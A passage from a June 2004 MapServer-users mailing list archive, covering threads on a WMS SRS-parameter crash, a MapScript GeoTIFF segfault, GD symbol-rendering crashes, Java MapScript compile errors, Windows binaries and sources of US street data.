carry on. :) Back to follow up on Monday. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From ed at topozone.com Thu Jun 10 06:40:02 2004 From: ed at topozone.com (Ed McNierney) Date: Thu, 10 Jun 2004 09:40:02 -0400 Subject: [Mapserver-users] crash using srs parameter in getmap request Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB0770A4@ptolemy.topozone.com> Folks - What version of MapServer are you running when you get this crash? My memory is being fuzzy right now, but there was a bug quite a while ago that had something to do with a buffer/pointer problem with SRS parameters (I think). I ran into it and Daniel fixed it - but it was rather a long time ago. If you're using an old version of MapServer, try something newer. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of craig.gould at bt.com Sent: Thursday, June 10, 2004 9:17 AM To: Tom.Kralidis at ec.gc.ca; john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] crash using srs parameter in getmap request Tom, If John's crash is anything like the crash I experienced then it is the actual mapserv process on the machine that crashes with a null pointer exception somewhere. This crash only happens with certain types of projections. I was using British National Grid (BNG). The native projection of the WMS server was BNG, and the native projection of the WMS client was BNG. However if I include the SRS parameter then the map server process on the WMS server crashed (however not if you used a browser and did a standard request). If I took out the SRS parameter via a redirecting page the process did not crash. Upper and lower case made no difference for me. The application still crashed. BTW, when I found this problem I posted it on this list, but got no answer back. Since then at least two other people have posted similar problems. Each time I've let them know how I got round the problem. Unfortunately I can't get seem to get map server to compile on my win machine so I can't look into where this may be happening. Craig. -----Original Message----- From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] Sent: 10 June 2004 14:04 To: Gould,CR,Craig,XGH6A C; john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] crash using srs parameter in getmap request Comments: - What do you mean by MapServer crashing? Are you getting a 500 error? Are you getting an OGC Service Exception Report XML document? - What is the *native* projection of the data? This is what should be declared in the PROJECTION block foreach layer - try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") - trying a WMS GetMap request without the SRS keyword is an invalid request, and should throw an exception - WMS is not the problem. A WMS shall support all SRS projections it advertises in Capabilities ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > craig.gould at bt.com > Sent: Thursday, June 10, 2004 7:33 AM > To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] crash using srs parameter in > getmap request > > > John, > I and a few others have found the same problem. > The way round it is to create a web page that is called > instead of the opengis mapserver. This page forwards the > request to the mapserver but strips out the SRS paramater. If > the map server is using the projection you want returned by > default, then everything ends up OK. BTW this only happens > with certain projection types. Regards, Craig. > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > John Pulles > Sent: 10 June 2004 10:28 > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] crash using srs parameter in getmap request > > > Hi List > > Using a map file with projection settings as shown below, I > get a crash of mapserver when doing an opengis getmap request > with &srs=epsg:28992. With an absent srs parameter or with > &srs=epsg:4326 a correct map is returned. Does anyone have an > idea what could be wrong? > > BTW: I am using MapServer version 4.2-beta2 on W2K, with the > PROJ_LIB environment variable set to the directory containing > the epsg file. > > > Regards, > John Pulles. > > MAP > NAME "Demo" > > PROJECTION > # RD > "init=EPSG:28992" > END > > EXTENT 10000 305000 280000 619000 > > SHAPEPATH "c:\kaarten" > UNITS meters > > WEB > METADATA > "wms_title" "Demo" > "wms_srs" "EPSG:4326 EPSG:28992" > END > END > > LAYER > NAME provincies > DATA "provincies" > STATUS ON > METADATA > "wms_title" "Provincies" > "wms_srs" "EPSG:4326 EPSG:28992" > END > TYPE POLYGON > CLASS > COLOR 212 212 212 > OUTLINECOLOR 0 0 0 > END > PROJECTION > # RD > "init=EPSG:28992" > END > END > END > > -------------------- > > > > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > _______________________________________________ > > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From imd_listuser at comcast.net Thu Jun 10 06:46:40 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Thu, 10 Jun 2004 09:46:40 -0400 Subject: [Mapserver-users] Version 4.2 for windows? Message-ID: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> Hi Can anyone say when the 4.2 version of mapserver that is available for unix will also be available for windows at: http://mapserver.gis.umn.edu/win32binaries.html? Thanks Charlie From john.pulles at geodan.nl Thu Jun 10 06:46:32 2004 From: john.pulles at geodan.nl (John Pulles) Date: Thu, 10 Jun 2004 15:46:32 +0200 Subject: [Mapserver-users] crash using srs parameter in getmap request In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366F7D@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366F7D@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40C86638.6000308@geodan.nl> Kralidis,Tom [Burlington] wrote: >Comments: > >- What do you mean by MapServer crashing? Are you getting a 500 error? >Are you getting an OGC Service Exception Report XML document? > > My browser shows:" CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:" and a message box with title "mapserv.exe - Application Error" shows "The instruction at "0x101c7e24" referenced memory at "0xcccc1033". The memory could not be "read". Alas, no service exception report. >- What is the *native* projection of the data? This is what should be >declared in the PROJECTION block foreach layer > > The native projection is the same as epsg:28992 which is declared in the PROJECTION block for that layer and for the map. (see the end of this e-mail) >- try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") > > I did try this, but is doesn't make a difference. >- trying a WMS GetMap request without the SRS keyword is an invalid >request, and should throw an exception > > I read the same in the wms specification. Should a bug report be filed for this? Although there are already 5 entries when searching for srs (but none for this problem). John. >- WMS is not the problem. A WMS shall support all SRS projections it >advertises in Capabilities > >..Tom > >========================= >Tom Kralidis >Systems Scientist >Environment Canada >Tel: +01-905-336-4409 >http://www.ec.gc.ca/ > > > > > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>craig.gould at bt.com >>Sent: Thursday, June 10, 2004 7:33 AM >>To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu >>Subject: RE: [Mapserver-users] crash using srs parameter in >>getmap request >> >> >>John, >>I and a few others have found the same problem. >>The way round it is to create a web page that is called >>instead of the opengis mapserver. This page forwards the >>request to the mapserver but strips out the SRS paramater. If >>the map server is using the projection you want returned by >>default, then everything ends up OK. BTW this only happens >>with certain projection types. Regards, Craig. >> >> >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>John Pulles >>Sent: 10 June 2004 10:28 >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] crash using srs parameter in getmap request >> >> >>Hi List >> >>Using a map file with projection settings as shown below, I >>get a crash of mapserver when doing an opengis getmap request >>with &srs=epsg:28992. With an absent srs parameter or with >>&srs=epsg:4326 a correct map is returned. Does anyone have an >>idea what could be wrong? >> >>BTW: I am using MapServer version 4.2-beta2 on W2K, with the >>PROJ_LIB environment variable set to the directory containing >>the epsg file. >> >> >>Regards, >>John Pulles. >> >>MAP >> NAME "Demo" >> >> PROJECTION >> # RD >> "init=EPSG:28992" >> END >> >> EXTENT 10000 305000 280000 619000 >> >> SHAPEPATH "c:\kaarten" >> UNITS meters >> >> WEB >> METADATA >> "wms_title" "Demo" >> "wms_srs" "EPSG:4326 EPSG:28992" >> END >> END >> >> LAYER >> NAME provincies >> DATA "provincies" >> STATUS ON >> METADATA >> "wms_title" "Provincies" >> "wms_srs" "EPSG:4326 EPSG:28992" >> END >> TYPE POLYGON >> CLASS >> COLOR 212 212 212 >> OUTLINECOLOR 0 0 0 >> END >> PROJECTION >> # RD >> "init=EPSG:28992" >> END >> END >>END >> >>-------------------- >> >> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> >> >>_______________________________________________ >> >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> >> >> > > > > > -- ------------------------------------- Geodan IT b.v. Buitenhaven 27-A 5211 TP 's-Hertogenbosch (NL) ------------------------------------- Tel: +31 (0)73 - 692 5151 Fax: +31 (0)73 - 692 5150 Mobiel: +(0)6 - 1234 5678 ------------------------------------- Postadres / mailing address President Kennedylaan 1 1079 MB Amsterdam (NL) ------------------------------------- E-mail: john.pulles at geodan.nl Website: http://www.geodan.nl Disclaimer: http://www.geodan.nl/disclaimer ------------------------------------- From bartvde at xs4all.nl Thu Jun 10 07:28:16 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Thu, 10 Jun 2004 16:28:16 +0200 (CEST) Subject: [Mapserver-users] Version 4.2 for windows? In-Reply-To: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> References: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> Message-ID: <17001.134.117.83.232.1086877696.squirrel@webmail.xs4all.nl> Hi, I don't know when it will be available over there, but you can download the DM Solutions binaries at: http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html It depends on your needs (Oracle etc.) whether or not these binaries will suffice. Best regards, Bart > Hi > > Can anyone say when the 4.2 version of mapserver that is available for > unix will also be available for windows at: > http://mapserver.gis.umn.edu/win32binaries.html? > > Thanks > > Charlie > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri at swoodbridge.com Thu Jun 10 07:43:10 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Thu, 10 Jun 2004 10:43:10 -0400 Subject: [Mapserver-users] Version 4.2 for windows? In-Reply-To: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> References: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> Message-ID: <40C8737E.2000008@swoodbridge.com> Have you checked: http://maptools.org/ -Steve W. IMD Listuser wrote: > Hi > > Can anyone say when the 4.2 version of mapserver that is available for > unix will also be available for windows at: > http://mapserver.gis.umn.edu/win32binaries.html? > > Thanks > > Charlie > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From josb at pml.ac.uk Thu Jun 10 07:59:54 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Thu, 10 Jun 2004 15:59:54 +0100 Subject: [Mapserver-users] mapscript and float32 geotiffs In-Reply-To: <0EFB4769-BAE2-11D8-9095-000D9329D732@frii.com> References: <40C83DAD.6010506@pml.ac.uk> <0EFB4769-BAE2-11D8-9095-000D9329D732@frii.com> Message-ID: <40C8776A.40701@pml.ac.uk> This is a multi-part message in MIME format. --------------020906010105070404080509 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sean Gillies wrote: > Hi John, > > The Python MapScript maintainer (me) and the GDAL guru (Frank) > are both away from work at the users meeting. I don't have > the resources to test, but I do see several things right away. > > Here is 4.2 code that should work. Note the differences > > # format name should be passed as an arg to factory > new_format = mapscript.outputFormatObj('GDAL/GTiff', 'fgtiff') > new_format.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 > > # Everything else is OK, no need to set mimetype or extension > > # Insert into map. > your_map.appendOutputFormat(new_format) > > # Activate > your_map.setImageType('fgtiff') > > I can't help but make a style suggestion -- mapscript.mapObj is > a class. If you name instances of this class mapObj as well, you > will eventually run into trouble right? Or maybe you are using > the experimental next generation API with 'Map', 'Layer', etc, in > which case carry on. :) > > Back to follow up on Monday. > cheers, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > Hi Sean, Thanks for the prompt reply. Certainly your suggestion has helped me tidy up that part of my code which I was never very happy with. However, the segmentation fault remains. I have traced it to the msImageInitGD function where it tries to execute the line: tpixels = image->img.gd->tpixels[line]; The problem being is that image->img.gd->tpixels is NULL and hence indexing it creates the segfault. I'm afraid that I don't know enough about the internals of Mapserver to work out why it is zero in this case. Regards, - John -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free --------------020906010105070404080509 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Sean Gillies wrote:
Hi John,

The Python MapScript maintainer (me) and the GDAL guru (Frank)
are both away from work at the users meeting.  I don't have
the resources to test, but I do see several things right away.

Here is 4.2 code that should work.  Note the differences

    # format name should be passed as an arg to factory
    new_format = mapscript.outputFormatObj('GDAL/GTiff', 'fgtiff')
    new_format.imagemode = mapscript.MS_IMAGEMODE_FLOAT32

    # Everything else is OK, no need to set mimetype or extension

    # Insert into map.
    your_map.appendOutputFormat(new_format)

    # Activate
    your_map.setImageType('fgtiff')

I can't help but make a style suggestion -- mapscript.mapObj is
a class.  If you name instances of this class mapObj as well, you
will eventually run into trouble right?  Or maybe you are using
the experimental next generation API with 'Map', 'Layer', etc, in
which case carry on. :)

Back to follow up on Monday.
cheers,
Sean

--
Sean Gillies
sgillies at frii dot com
http://users.frii.com/sgillies


Hi Sean,

Thanks for the prompt reply. Certainly your suggestion has helped me tidy up that part of my code which I was never very happy with. However, the segmentation fault remains. I have traced it to the msImageInitGD function where it tries to execute the line:

tpixels = image->img.gd->tpixels[line];

The problem being is that image->img.gd->tpixels is NULL and hence indexing it creates the segfault. I'm afraid that I don't know enough about the internals of Mapserver to work out why it is zero in this case.

Regards,

- John

-- 
Website: www.pml.ac.uk
Registered Charity No. 1091222
Company No. 4178503
-------------------------------------------------------------------
This e-mail, its content and any file attachments are confidential.
If you have received this e-mail in error please do not copy,
disclose it to any third party or use the contents or attachments
in any way. Please notify the sender by replying to this e-mail or
e-mail forinfo at pml.ac.uk and then delete the email without making
any copies or using it in any other way.
       
The content of this message may contain personal views which are
not the views of Plymouth Marine Laboratory unless specifically
stated.
       
Email transmission cannot be guaranteed to be secure or error free
--------------020906010105070404080509-- From dmccann at progressivepartnering.com Thu Jun 10 09:00:55 2004 From: dmccann at progressivepartnering.com (Dave McCann) Date: Thu, 10 Jun 2004 11:00:55 -0500 Subject: [Mapserver-users] Consulting Services Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C44EDA.34F6C0C0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Anyone know of a good Consulting Service with experience in MapServer and PHP? We are looking for a solution for marking a map and persisting the data. Please contact me via email: dmccann at progressivepartnering.com. Dave McCann Progressive Partnering Inc. 2525 Perimeter Place Dr., Suite 118 Nashville, TN 37214 Work: (615) 367-5954 Cell: (615) 504-5207 dmccann at progressivepartnering.com ------=_NextPart_000_0016_01C44EDA.34F6C0C0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Anyone know of a=20 good Consulting Service with experience in MapServer and PHP? We = are=20 looking for a solution for marking a map and persisting the data. Please = contact=20 me via email: dmccann at progressivepart= nering.com.
 
 
Dave=20 McCann
Progressive = Partnering=20 Inc.
2525 Perimeter Place Dr., = Suite=20 118
Nashville, TN = 37214
Work: (615) = 367-5954
Cell: (615) = 504-5207
dmccann at progressivepart= nering.com
 
------=_NextPart_000_0016_01C44EDA.34F6C0C0-- From jenu_ab at hotmail.com Thu Jun 10 10:33:38 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Thu, 10 Jun 2004 12:33:38 -0500 Subject: [Mapserver-users] Reference image Message-ID: hi guys, I'm not able get a clickable reference map as shown in the mapserver example http://terrasip.gis.umn.edu/cgi-bin/mapserv40?map=/data/projects/tutorial/example2-4.map&layer=states&mode=browse my reference image does show the zoom band and star , but the i'm not able to change my focus as given in the example by clicking the reference map. what am i missing..? jenu _________________________________________________________________ Stop worrying about overloading your inbox - get MSN Hotmail Extra Storage! http://join.msn.click-url.com/go/onm00200362ave/direct/01/ From havard.tveite at imt.nlh.no Thu Jun 10 10:48:43 2004 From: havard.tveite at imt.nlh.no (Havard Tveite) Date: Thu, 10 Jun 2004 19:48:43 +0200 Subject: [Mapserver-users] GD 2.0.26 makes Mapserver 4.2.0 crash on symbol rendering Message-ID: <40C89EFB.3040104@imt.nlh.no> I have tested the newest GD release (GD 2.0.26) with Mapserver 4.2.0, and have experienced occational Mapserver crashes due to symbol problems. I have managed to track down the following: When my "lltriangle" symbol (shown below) is placed such that it intersects the right edge of the rendered map (a part of the triangle is inside and a part is outside), Mapserver always crashes ("Internal Server Error" - in the Apache error log: "Premature end of script headers: mapserv_4.2"). Switching to the GD 2.0.25 library there is no crash. Here is the problematic symbol: SYMBOL NAME "lltriangle" TYPE vector FILLED true POINTS 0 1 1 1 1 0 0 1 END END With a box symbol like the one below, map edge intersection is not a problem. SYMBOL NAME "box" TYPE vector FILLED true POINTS 0 0 1 0 1 1 0 1 0 0 END END mapserv_4.2 -v: MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=SDE INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Platform Solaris 2.7 -- H?vard Tveite Department of Mathematical Sciences and Technology Agricultural University of Norway Dr?bakveien 14, POBox 5003, N-1432 ?s, NORWAY Phone: +47 64948857 Fax: +47 64948810 http://www.nlh.no/imt From merlos at tsc.uvigo.es Thu Jun 10 14:02:12 2004 From: merlos at tsc.uvigo.es (Merlos) Date: Thu, 10 Jun 2004 23:02:12 +0200 Subject: [Mapserver-users] java mapscript getPoints is already defined error In-Reply-To: <1086850261.5089.2.camel@friedrich> References: <20040609162709.15211.qmail@web60002.mail.yahoo.com> <1086850261.5089.2.camel@friedrich> Message-ID: Wiki modified I have never created a patch, so I what I did was explain how to avoid the compilation problem. I have edited a little the howto, not it uses headings and HTML. I've added a simple example. Take a look to it. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?JavaMapScriptHowTo Regards. Juan. On Thursday 10 June 2004 08:51, Umberto Nicoletti wrote: > Could you please add a patch file to the wiki? > > Thanks, > Umberto > > On Wed, 2004-06-09 at 21:20, Merlos wrote: > > I also had that problem when compiling java mapscript for mapserver 4.2 > > > > If you compare original java files with patched java files you will see > > that it only removes the redundant functions. The problem is that in C++ > > you can return different classes in two methods that have the same name > > and arguments, but in java it is not possible. > > > > So what I did to overtake this error was edit symbolObj.java nd on line > > 207 removed this line: > > > > public lineObj getPoints() { > > > > And added: > > > > public lineObj getPoints(boolean lala) { > > if (lala==true) {} > > > > > > At least it compiled. And could finish all the stuff following the steps > > of the howto. > > > > > > Regards. Juan. > > > > > > I suppose it would be a good idea add it to the wiki. > > > > On Wednesday 09 June 2004 18:27, gabriel hunter wrote: > > > Hi all, > > > > > > I'm new to mapserver, I tried to compile java mapscript but I can't go > > > any further without some help. > > > > > > I followed the JavaMapScriptHowTo, but executing > > > > > > javac edu/umn/gis/mapscript/*.java > > > > > > without patching, gives an error about functions already defined: > > > > > > setExtension and setMimetype in file outputFormatObj.java > > > getPoints in file symbolObj.java > > > > > > and an "attempting to use incompatible return type" on function clone > > > in file mapObj.java. > > > > > > when I apply the patch I can see that change are made to files > > > outpuFormatObj.java and mapObj.java, but no changes are made to > > > symbolObj.java > > > > > > so I compiled again and get: > > > > > > symbolObj.java:207: getPoints() is already defined > > > > > > I'm using mapserver 4.2, gdal 1.2.0b, gd 2.0.20, swig 1.3.21 on > > > slackware 9.1 > > > > > > What can I do? > > > > > > Thanks in advance. > > > > > > Gabriel Hunter > > > > > > > > > --------------------------------- > > > Do you Yahoo!? > > > Friends. Fun. Try the all-new Yahoo! Messenger > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- -- http://www.merlos.biz From jeramie at Idghelp.us Thu Jun 10 12:24:35 2004 From: jeramie at Idghelp.us (Jeramie Gatchell) Date: Thu, 10 Jun 2004 12:24:35 -0700 Subject: [Mapserver-users] maps of the US (west coast or more) Message-ID: <200406101925.i5AJPFFS012264@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C44EE5.E6CB3190 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit HI, I finally got the mapserver running thanks a TON for all the help. Does anyone know where I can get maps (down to the street level) for the US (just need the west coast area for now, but all would be fine too)? I found a place that sells the tiger data for $60, which is perfectly fine with me if this is the data I need. Thanks a lot everyone, you've all been a great deal of help. Jeramie ------=_NextPart_000_0008_01C44EE5.E6CB3190 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

HI,

 

I finally got the mapserver running thanks a TON for = all the help.

 

Does anyone know where I can get maps (down to the = street level) for the US (just need the west coast area for now, but all would = be fine too)?  I found a place that sells the tiger data for $60, which is perfectly fine with me if this is the data I = need.

 

Thanks a lot everyone, you’ve all been a great = deal of help.

 

Jeramie

 

------=_NextPart_000_0008_01C44EE5.E6CB3190-- From woodbri at swoodbridge.com Thu Jun 10 13:52:54 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Thu, 10 Jun 2004 16:52:54 -0400 Subject: [Mapserver-users] maps of the US (west coast or more) In-Reply-To: <200406101925.i5AJPFFS012264@lists.gis.umn.edu> References: <200406101925.i5AJPFFS012264@lists.gis.umn.edu> Message-ID: <40C8CA26.1010006@swoodbridge.com> Jeramie Gatchell wrote: > I finally got the mapserver running thanks a TON for all the help. > Great, congratulations. > > Does anyone know where I can get maps (down to the street level) for the > US (just need the west coast area for now, but all would be fine too)? > I found a place that sells the tiger data for $60, which is perfectly > fine with me if this is the data I need. you can down load tiger data from the US census for free, but is is not very useful except as a base to convert to shapefiles. Other people have used ogr2ogr to convert tiger data to shapefiles. ogr2ogr is part of the gdal distribution. You can also download some Census data in shapefile format like state, county, and various other polygon boundary files. There is also other data available from the various free download sites for gis data. http://www.google.com/search?hl=en&ie=UTF-8&q=gis+data+shapefile+download -Steve W. From nacional at cbs.umn.edu Thu Jun 10 14:35:03 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Thu, 10 Jun 2004 16:35:03 -0500 (CDT) Subject: [Mapserver-users] Version 4.2 for windows? In-Reply-To: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> References: <90264B8395BF154DB2CB12B068DFFAE90529EC@westward.im-design.net> Message-ID: Hi! I'll put it up when I get back from the OSGIS/MUM. -Perry On Thu, 10 Jun 2004, IMD Listuser wrote: > Hi > > Can anyone say when the 4.2 version of mapserver that is available for > unix will also be available for windows at: > http://mapserver.gis.umn.edu/win32binaries.html? > > Thanks > > Charlie > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From benminton at austarnet.com.au Thu Jun 10 15:12:18 2004 From: benminton at austarnet.com.au (Ben Minton) Date: Fri, 11 Jun 2004 07:42:18 +0930 Subject: [Mapserver-users] Test of Email Client and Posting Issue Message-ID: <20040611074218.6645ec08.benminton@austarnet.com.au> Hi All, Raju replied to my mentioning of not being able to post. This is a test message only. Regards, Ben. -- Ben Minton Darwin, NT, AU benminton @ austarnet.com.au ben @ cagebypage.com From ealpert at digitalglobe.com Thu Jun 10 16:02:43 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Thu, 10 Jun 2004 17:02:43 -0600 Subject: [Mapserver-users] Shapefile attributes from mapscript::shapefileObj? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C7A@COMAIL01.digitalglobe.com> Thanks for the response....I ended up using the Shape perl module to do everything I needed. -e -----Original Message----- From: Norbert Thieme [mailto:norbert.thieme at ilmenau.baw.de] Sent: Thursday, June 10, 2004 2:23 AM To: Ethan Alpert Cc: Mapserver List Subject: Re: [Mapserver-users] Shapefile attributes from mapscript::shapefileObj? Ethan Alpert schrieb: > > Ok I give up how can I get attributes of shapes from a shapefile using > PERL mapscript? > > I need to extract the attributes to create labels and everything I've > tried gives me nothing. I have 33 points in a shapefile and each point > has a name and an elevation as attributes. I can see these in Arc > Explorer so I know they're there. > > Thanks, > > -e > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, I think you can use this simply as labelitem in the mapfile. If you only have two items then this should be no problem. You can make one layer as TYPE POINT with one item and a second as TYPE ANNOTATION with the second item. If you want you can put them together as a group. Regards, Norbert From mbasa at orkney.co.jp Thu Jun 10 18:23:09 2004 From: mbasa at orkney.co.jp (Mario Basa) Date: Fri, 11 Jun 2004 10:23:09 +0900 Subject: [Mapserver-users] java mapscript getPoints is already defined error In-Reply-To: References: <20040609162709.15211.qmail@web60002.mail.yahoo.com> <1086850261.5089.2.camel@friedrich> Message-ID: <40C9097D.50302@orkney.co.jp> Hello, Has anybody had any success with JavaMapScript in a servlet/tomcat environment. I made a simple servlet and did some tests on it using JMeter, and the application usually dies when around 5 concurrent threads try to access it. I tried synchronizing the class that contains the MapScript and also the SingleThreadModel but the application still dies. Regards. mario. Merlos wrote: >Wiki modified > >I have never created a patch, so I what I did was explain how to avoid the >compilation problem. > >I have edited a little the howto, not it uses headings and HTML. I've added a >simple example. > >Take a look to it. > >http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?JavaMapScriptHowTo > > >Regards. Juan. > >On Thursday 10 June 2004 08:51, Umberto Nicoletti wrote: > > >>Could you please add a patch file to the wiki? >> >>Thanks, >>Umberto >> >>On Wed, 2004-06-09 at 21:20, Merlos wrote: >> >> >>>I also had that problem when compiling java mapscript for mapserver 4.2 >>> >>>If you compare original java files with patched java files you will see >>>that it only removes the redundant functions. The problem is that in C++ >>>you can return different classes in two methods that have the same name >>>and arguments, but in java it is not possible. >>> >>>So what I did to overtake this error was edit symbolObj.java nd on line >>>207 removed this line: >>> >>> public lineObj getPoints() { >>> >>>And added: >>> >>> public lineObj getPoints(boolean lala) { >>> if (lala==true) {} >>> >>> >>>At least it compiled. And could finish all the stuff following the steps >>>of the howto. >>> >>> >>>Regards. Juan. >>> >>> >>>I suppose it would be a good idea add it to the wiki. >>> >>>On Wednesday 09 June 2004 18:27, gabriel hunter wrote: >>> >>> >>>>Hi all, >>>> >>>>I'm new to mapserver, I tried to compile java mapscript but I can't go >>>>any further without some help. >>>> >>>>I followed the JavaMapScriptHowTo, but executing >>>> >>>>javac edu/umn/gis/mapscript/*.java >>>> >>>>without patching, gives an error about functions already defined: >>>> >>>>setExtension and setMimetype in file outputFormatObj.java >>>>getPoints in file symbolObj.java >>>> >>>>and an "attempting to use incompatible return type" on function clone >>>>in file mapObj.java. >>>> >>>>when I apply the patch I can see that change are made to files >>>>outpuFormatObj.java and mapObj.java, but no changes are made to >>>>symbolObj.java >>>> >>>>so I compiled again and get: >>>> >>>>symbolObj.java:207: getPoints() is already defined >>>> >>>>I'm using mapserver 4.2, gdal 1.2.0b, gd 2.0.20, swig 1.3.21 on >>>>slackware 9.1 >>>> >>>>What can I do? >>>> >>>>Thanks in advance. >>>> >>>>Gabriel Hunter >>>> >>>> >>>>--------------------------------- >>>>Do you Yahoo!? >>>>Friends. Fun. Try the all-new Yahoo! Messenger >>>> >>>> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > > From r0ss at shaw.ca Thu Jun 10 18:23:37 2004 From: r0ss at shaw.ca (ross s) Date: Thu, 10 Jun 2004 19:23:37 -0600 Subject: [Mapserver-users] MapServer and ASP.Net Message-ID: <49138648d69a.48d69a491386@shaw.ca> Hi everyone, I searched the archives because I assume this question has been asked a lot but I could not locate any conclusive answers. Can ASP.Net be used to design websites and communicate with the MapServercgi exe? Any assistance would be useful, we are an ASP shop looking to move into the MapServer world and we would like to leverage our ASP knowledge. Thanks any assistance would be greatly appreciatetd, I will summarize the responses from everyone. Ross From randy.page at terraverge.com Thu Jun 10 19:13:15 2004 From: randy.page at terraverge.com (Randy Page) Date: Thu, 10 Jun 2004 22:13:15 -0400 Subject: [Mapserver-users] Native Windows PostGIS Message-ID: <200406102211767.SM02656@rpage> This is a multi-part message in MIME format. ------=_NextPart_000_006C_01C44F38.20788A30 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi Folks, Does anyone know if PostGIS can be used with any of the commercial native Windows versions of PostgreSQL such as PowerGres? Thanks in advance, Randy 